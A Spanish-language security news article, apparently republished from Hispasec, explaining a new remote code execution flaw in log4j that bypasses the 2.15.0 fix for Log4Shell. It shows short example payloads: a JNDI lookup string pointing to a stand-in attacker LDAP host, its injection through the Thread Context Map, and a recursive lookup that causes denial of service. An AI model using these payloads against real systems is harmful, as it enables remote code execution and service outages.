Nuevo RCE en log4j Hispasec @unaaldia

Tabla de contenido

Una nueva vulnerabilidad descubierta en log4j vuelve a permitir la ejecución de código arbitrario.

<img data-attachment-id="58929" data-permalink="https://unaaldia.hispasec.com/2021/12/nuevo-rce-en-log4j.html/pexels-photo-4164418" data-orig-file="https://i0.wp.com/unaaldia.hispasec.com/wp-content/uploads/2021/12/pexels-photo-4164418.jpeg?fit=1880%2C1253&ssl=1" data-orig-size="1880,1253" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"Photo by Antonio Batini\u0107 on Pexels.com","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"black screen with code","orientation":"0"}» data-image-title=»pexels-photo-4164418″ data-image-description data-image-caption=»

Photo by Antonio Batinić on Pexels.com

» data-medium-file=»https://i0.wp.com/unaaldia.hispasec.com/wp-content/uploads/2021/12/pexels-photo-4164418.jpeg?fit=300%2C200&ssl=1″ data-large-file=»https://i0.wp.com/unaaldia.hispasec.com/wp-content/uploads/2021/12/pexels-photo-4164418.jpeg?fit=1024%2C682&ssl=1″ loading=»lazy» width=»1880″ height=»1253″ src=»https://syscloud.es/wp-content/uploads/2021/12/nuevo-rce-en-log4j-hispasec-unaaldia.jpg» alt=»black screen with code» class=»wp-image-58929″ srcset=»https://syscloud.es/wp-content/uploads/2021/12/nuevo-rce-en-log4j-hispasec-unaaldia.jpg 1880w, https://syscloud.es/wp-content/uploads/2021/12/nuevo-rce-en-log4j-hispasec-unaaldia-1.jpg 300w, https://syscloud.es/wp-content/uploads/2021/12/nuevo-rce-en-log4j-hispasec-unaaldia-2.jpg 1024w, https://syscloud.es/wp-content/uploads/2021/12/nuevo-rce-en-log4j-hispasec-unaaldia-3.jpg 768w, https://syscloud.es/wp-content/uploads/2021/12/nuevo-rce-en-log4j-hispasec-unaaldia-4.jpg 1536w» sizes=»(max-width: 1000px) 100vw, 1000px» data-recalc-dims=»1″>

Photo by Antonio Batinić on Pexels.com

Ya comentabamos en una UAD una grave vulnerabilidad bautizada como Log4Shell o LogJam que permitía la ejecución de código arbitrario en la popular biblioteca de Java (CVE-2021-44228).

La versión 2.15.0, publicada el pasado 6 de diciembre, solucionaba el fallo bloqueando las conexiones a infraestructuras remotas (bajo control del atacante) en las búsquedas de mensajes.

Ejemplo:

String attackerData = "${jndi:ldap://attacker.com/a}"; // Búsqueda bloqueda. El payload no se ejecutará por defecto:
logger.info("Log string, but no lookup will happen: " + attackerData);

Sin embargo, aún existen partes del código en las que el payload se ejecuta, por ejemplo en Thread Context Map:

// Pasamos la cadena de búsqueda con la infraestructura del atacante
ThreadContext.put("layout-pattern-value", attackerData); # En este caso, se intentará realizar la búsqueda "${jndi:ldap://attacker.com/a}"
appender.console.layout.pattern = ${ctx:layout-pattern-value} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

Esto no parecía especialmente grave, ya que desde la versión 2.15.0 se bloquean las conexiones remotas y la explotación solo sería viable en un entorno local. En el peor de los casos podría generarse una recursión múltiple declarando un payload de esta forma que podría provocar una denegación de servicio.

String attackerData = "${ctx:layout-pattern-value"

Sin embargo, investigadores de seguridad han encontrado nuevas formas de saltar estas protecciones, llegando a poder exfiltrar información y ejecutar código remoto bajo ciertas condiciones o a ejecutar código arbitrario en local en cualquier situación.

Por ese motivo se ha elevado la criticidad del nuevo CVE a 9.

<!–
–>
Fuente obtenida de: https://unaaldia.hispasec.com/2021/12/nuevo-rce-en-log4j.html

INFORMACION DEL PUBLICADOR
Picture of Kamal Majaiti
Kamal Majaiti
Administrador de sistemas e informático por vocación.
COMPARTELO EN REDES
Publica un comentario

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.